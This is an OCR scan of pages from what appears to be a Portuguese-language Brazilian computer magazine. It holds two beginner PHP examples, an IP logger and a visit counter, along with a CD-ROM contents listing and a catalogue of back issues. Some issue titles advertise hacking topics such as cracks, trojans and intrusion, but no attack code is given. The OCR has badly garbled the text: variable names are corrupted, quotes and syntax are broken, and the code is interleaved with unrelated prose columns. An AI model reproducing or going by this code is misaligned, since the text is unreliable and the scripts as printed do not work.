echo “<b>Seu ip é: . <u>3REMOTE_ADDR</u></b>";

/ *

Grava no arquivo ip.txt o IP. do dltimo e de todos
0s acessos em seu site. Esse arquivo se encontrard
na mesma pasta que estiver o arquivo php

2/

$ip = fopen(“jp.txt”, “a’);

fouts ($fo, “{ SREMOTE_ADDR }\n*);

fclose($1p); :

> :
/ Fim do script PHP
</body>

</htm/>

No exemplo abaixo, segue um simples script de um contador
em PHP:

<htm/l>
<head>
<title>Compteur</title>

informada no arquivo TXT. No caso, visitas. txt

Sthis_day=(date(“d-F-Y"));

if (ffile_exists($1o)) {

Scount _dat = fopen($ip, “w+ ")
Scount = 1;

/

else {

Scount_aat = fopen($to, “r+7);
Srow = file($1n);

Stest = chop($row(0]);

if ($this_day == $test){

Scount = Srow(1};

Fcount++;

/

else {

Scount_dat = fopen($tp, “w+"); -
Scount = 1, §

/

/ ;

twrite($count_dat, "§this_day\n ”);
fwrite($count _dat, $count):
fclose($count_dat); .
// Informa ao usuério que entrou em seu site o

ndmero de visitas

echo “<br>\Vocé é meu visitante numero : $count”;
7> :
# Fim do script PHP

<br>

<br> -

<br>

</center>

</body>

</hitm/>

Nesta matéria, tentamos demonstrar ao usuério que

</head> pretende entrar no mundo do PHP que essa é uma linguagem
<body> prética e muito eficiente. Os dois exemplos acima citados sio
<center> bem simples e poderao ser melhorados de acordo com a sua :
/ Inicio do script PHP necessidade.
<7
#/ Arquivo TXT onde serd gravado o nidmero de Para maiores informacoes, acessé os links abaixo:

visitas https/www. phpbrasil.com/

$io = “visitas. txt”,
/#/ Configuracdo da data da visita que sers

hitpAwww.superphp.com. bry/
http#fwww.construindoseusite.com.br/php/php.shtm .
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 CATEGORIA

Sistermras Embutidos

Néo conhece essa tecnologia? Entde veja alguns sitemas que
podem ser usados em maquinas de refrigerante, bancos 24 ho-
ras, etc

Compiladores e Utilitarios

As melhores ferramentas para o desenvolvimento de programas
em diversas linguagens: C, C++, Python, COBOL, além de utilitarios
para facilitar a vida do programador

o

DESTAQUES ]

e

' CATEGORIA

Red Hat eCos

Sisterna operacional com codigo aberto para sistemas embutidos
THETRPD =2 20¢

Webserver de tamanhao super-reduzido para sistemas embutidos
GNU Zebra Gerencia

Clientes de protocolos de rede tipo TCP/AP

GTH
Ferramentas de programac&o usadas no ambiente grafico do Linux,
GNOME, além das principais bibliotecas

Borland C:: Compiler

Compilador para linguagem C++

Bloodshed Dev-C 4

Crie e compile programas em linguagem C

Emacs

O compilador multiplataforma preferido dos programadores

Tutoriais
Para aprimorar seu conhecimento, ler é a melhor solucao. D& uma
passado em nossa secdo de tutoriais

N

DESTAQUES \

GLib2 2.0.3rel

Bibliotecas muito usadas em programacao em C no GTK+
GTHmm

Interface visual para a biblioteca GTK+

GTH-Perl

Méodulos gue permitem explorar as bibliotecas do Perl no GNOME

Hernel Hacking How To

Tuterial passe a passe de como burlar as configuracées do kernel
SQL Server 65

Apostila muito boa do SQL Server 6.5

GNU Privacy Guard

Texto para quem se interessa por criptografia
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Screenshot do Kylix:

programe Delphi no Linux




Veja as categorias contidas no CD,
com destaques e descrlgoes basicas
de cada uma

Ferramentas para desenvolvimento no Linux a todo vapor. Hoje,  Quer saber como foi feito um pragrama? Quer ver o seu cadigo-

usuarios deste sistema poderdo programar em Delphi com franqii-  fonte? Af estdo alguns programas que lhe possibilitam fucar em
lidade usando o Kylix programas desenvolvidos em Assembrer, Delphi e Java

i ¢ _‘x'i .

O Deiphf para Lmux! Precisa de cadas.tm,m site

GNL 1

D editor prefendc da comunidade de programadores

Desenvolvimento em linguagem Perl, rapido e facil Descompile arquivos class para Jjava e veja seus tedigas}$0ﬂte '

Open Source rulez. Sdo, ac todo, 1.000 codigos-fonte de diversas
linguagens de programacgao

AbiWord

- Codigo-fonte do processador de texto open source
KICO ‘
Céd-igc—fonte do comunicador instantaneo para Linux
P

R JEHITED ;
Ferramenta de monitoracdo de trafego em redes |
e ,,,,,,,,,,w_____i

@

AbiWord Personal

Version: 0.7.10

Copyright 1998-2000 &biSource, Inc.

Ahivord and AbiSource are trademarks of
AR Source, Inc.

AbiWord Personal is free software; you can redistribule it
andlor modify it urder the terms of the GNU General
Public License a3 pubfished by the Free Software
Founidation; either wersion 2 of the License, or (at your
aption}any kter version.

This program is distributed in the hope that it will be useful,
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[l AVANCADO | INTERMEDIARIO INICIANTE

O guia completo, ideal para
. profissionais que querem

se informar sobre novas

tecnologias e softwares.

i S BRASIL

Wé“basters

A GeeK é uma alternativa
para os interessados em

nos avancos tecnoldgicos
e seus efeitos.

Publicagéo ideal para quem
se envolve diretamente
com Internet,

©  principalmente profissionais

A PC Linux busca
desvendar os aspectos
técnicos deste sistema
alternativo.

A revolucio digital chegou
com dispositivos mdveis.
Para usuarios que fazem

. parte desta revolugéo. P
D I E I I ' lI A digitalizagao de sons e

imagens revolucionando a |

producéo de filmes e
~+ musicas.

1 A revista Hacker & porta-
voz e formadora da elite
hacker em sua busca por
conhecimento.

A revista DVD-ROM é a
primeira a oferecer este
tipo de midia, com 9GB

| Aeducagdo a distanciapor |
de informacéo.

. meio de computadores,
. redes digitais e tecnologia
| de ponta.

-lé—d“rni-ng

Tecnologia e entretenimento

Com as ultimas novida-
des sobre tecnologia e
informatica para a mulher
do seculo XXI.

Uma revista feita por
jogadores para jogadores -
nada resume melhor o
espirito da TopGames.

e {Computador

o computador para

facilitar tarefas e (:9/\

proporcionar diversao. (L No trabalho e em casa,
Revista para usudrios
Iniciantes e intermediérios

com vérias dicas.




Selecione as revistas que vocé deseja receber em casa

Frete gratis para todo Brasil! Aproveite.
Para uma relacdo completa de nossas revistas acesse www.digerati.com.br

¥

L Com|
prar Comprar
: Geek 1 Geek 7 Geek 9
CD-ROM com mais de 50 D Hackers! Uma colecao de A arte de gravar CDs: manual e
programas softwares no CD + Corel Linux, selecdo de softwares no CD + 130

R$9,00 Edicdo de colecionador e-books, MP3... R$9,90 Cursos completos

Comprar Comprar

Geek 10

Desmonte seus softwares, Peer
to Peer, Hardware, Modelagem 3D
o € Vvoz Rz

Geek 19

Edicao historica: C e C++, criaco
de games, Slackware. No CD: 300
R$9,90 SOftwares

Tudo sobre DVDs,
Destravamento, Cracks +
R 9,00 Linguagem C e Cavalos de Tréia

Comprar Comprar

Geek Especial 4

Aprenda a montar seu proprio
computador + CD com coletanea
R$ 9,90 €special de programas

Geek Especial 9

Mais de 200 cursos: hacking,
testes de certificac@o profissionais
. R$9,00 € Programaco pesada.

Monte seu préprio sistema
operacional, crie robds virtuais,
" R$ 0,00 aprenda a haquear o Dreamcast

Comprar Comprar Comprar

The WebMasters 8

101 Cursos para especializar-se
em Internet: Flash, ASP, PHP,
R$9,90 Dreamweaver, Cold Fusion...

e The WebMasters 7
e l:[ R$ 430 em softwares. Webdesign,
programcao, scripts prontos para
R$9,00 Usar e muito mais

The WebMasters 1
Flash, Dreamweaver e programas
para construcdo de sites + Cursos

_—

Comprar Comprar Comprar

Click 1

Office Click: super pacote de

/ programas para escritorio
*g; R$9,90 Compativeis com MS Office

Click 7

Programas especiais para
gravacéo de CDs, Softwares
R$ 9,00 administrativos

Portateis 1

D Internet, wireless, hackers de
P portateis. No CD, mais de 300
*5.--"' R$ 9,90 softwares, incluindo suites

Comprar Comprar e Comprar

Digital Audio ¢ Video 3
Tudo sobre autoria de DVDs, Grave filmes para DVD playsr;
criacdo de loops, softwares para e : faca musicas pela Web, crie
ﬁ.ol; R$9,90 MP3 e muito mais 35 R$9,00 animacdes no PC e muito mais

Digital Audio * Video 1 Digital Audio * Video 2
Programas e dicas para usar
seu micro para processar

R$9,90 SOM € video

Comprar

Top Games Surpresa 4
Emuladores: jogos de videogames
e arcades para vocé jogar no
R$9,90 Computador.

G pr} i
Comprar [Blearning Ccomprar

E-Learning 1 107 smwnrnss E-Learning 2
Cursos de softwares, para = : 101 cursos completos e pacote 202 Cursos Completos + especial
vestibulandos, negdcios na com simulados e apostilas para idiomas com tradutor inglés,
& R$9,90 CONncursos publicos == Rs$9,90 rances, espanhol, alemao, italiano

TopGames Evolution 16

Games Classicos! Donkey Kong,

Bomberman e outros + especial
R$ 9,00 Resident Evil e 51 games.

Top Games Surpresa 3
500 jogos para Windows!
Simples e divertidos, incluindo

Comprar

E-Learning 3

Comprar Comoprar Comprar

PC Brasil 4 : PC Brasil 5 PC Brasil Especial 1

Aprenda a se proteger de hackers, = Espionagem virtual, curso 200 cursos completos para vocé:

transforme seu PC em um estddio ; y interativo de Flash MX, Windows design, hardware, programacao,
R$ 9,00 digital e muito mais ‘;Q‘l" R$9,00 AP, paiches para Office e mais . R$9,00 redes e muito mais

Meu Computador 1 HOOFEeaEGE  Comprar

60 programas completos + 4000
Cliparts. Software para conversar
R$9,00 Pela Web e Pacote Office

Meu Computador 3

Tudo para gravar CDs de musica,

videos e dados - para assistir no
Rrsg9.00 DVD e ouvir no CD Player

Meu Computador 4
Gravador Digital de conversas
telefonicas + Software para
R$9,00 IMprimir sem impressora

Comprar Comprar

DVD-ROM 1

9 Gigas de programas! Flash,
Fireworks, Dreamweaver, Linux e
R$ 19,00 MUito mais

Como Funciona 1
Aprenda tudo sobre informatical
Dissecamos cada peca e
R$9,00 EXplicamos para vocé

The WebMasters Especial 1
Tudo sobre Flash. Curso em
video, Action Script, criagédo de

+ jogos e animacdes prontas
, WF&Q,QU Jog

“3“ Comprar

— H4CK3R3

& Tudo sobre sniffers, Unicode Bug,
scanners de falhas e invasao sem

R$9,00 vVestigios

Comprar Comprar

H4ACK3R 2

Aprenda a proteger seu Linux e
saiba tudo sobre Hacktivismo,
R$9,90 IPs, Fake Mail e Worm Lions

H4CK3R 1

Hackerismo, subcultura, software
5 livre, seguranca e programacéo
=+ R$9,00 @avancada.
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De DJ de bailinho

De cineasta de casamento

a DJ Marky.

a Steven Spielberg.
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- Assistir a filmes e ouvir musicas.
- Gravar filmes para DVD e produzir cancoes.
- Editar videos caseiros e virar um DJ virtual

Seu computador pode virar um verdadeiro estadio
Bem-vindo a revolucdo. Bem-vindo- a Audio Video Digital.
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Esse CD-ROM contém softwares que

n H [ “ l A nte“ga ® podem danificar computadores.

ADVISORY
EXPLIGIT SOFTWARE

Eles foram incluidos nesse CD exclusivamente para
estudo e desenvolvimento técnico. Ndo nos responsabili-
zamos por seu uso indevido. O uso destes softwares para
prejudicar terceiros é crime, passivel de punigao.

P3rl D3v Kit

Configurac@o minima do equipamento: PC Pentium 233 com 32 MB de
RAM e drive de CD com velocidade dupla. Os requisitos podem variar de
programa para programa

0 conteddo do CD-ROM € formado por softwares freeware e versdes de
demonstracao

___CONFIRA-NO CD; -

Mil c0dig0s-fOn73

Mais de 100 exemplos em cada categoria:

Java,-G+%, PHP, VB, Delphi, ASP e Pasg'ga]"

-

TOp COd3s

Codigos-fonte de'programas populares, eomo
olinux Kernel 2.5; Snort 1.7, Dev C++, ZSNES,
Miranda e KICQ. Ainda: ajude_ a desenvolver
0 Open Antivirus Project

Dl1s4ss3mbl 3rs

Programas que desmontam executaveis em
todas as plataformas e para diversas lingua-
gens, como Delphi e Visual J++ b

Slst3m4s embu71d0s

- No CD; um sistema embutido, Red Hat eCos,
“mais uma série de aphcatlvos, incluindo .
webserver, editor de tex‘ro e programa para
configurar redes ° o

In73rf4c3s Llnux -

Softwares para programar suas mterfaces
Linux usandoa Imuaem GTK+

Tu70r1a13

Um especial com 80 tutoriais, incluindo .
Assembler, C/C++, kernel hacking, PHP, Java,

SQL, ASP, XML, Perl, Python, Sambaemurtos
outros

Kyllx 2 Op3n EdIt10n
~Versao de codigo-aberto do Delphi para
_Linux, completo no CD -

.

GNU Em4cs

O editor de texto que é a menina dos olhos
da comunldade de programadores -

COmp114dOr3s

Mais de 20 programas, incluindo compila- .
- dores para a linguagem C++ (Borland C++
Compiler), Python (Python-2.2.1) e PHP (PHP
42.1)

Programd para-desenvolver projetos usando
a elinguagem Perl, sem complicacdo

Al60rltmos
Tutoriais explicando o que e e como progra-

mar algoritmos. Mais: um guia para tirar suas
duvidas sobre criptografia




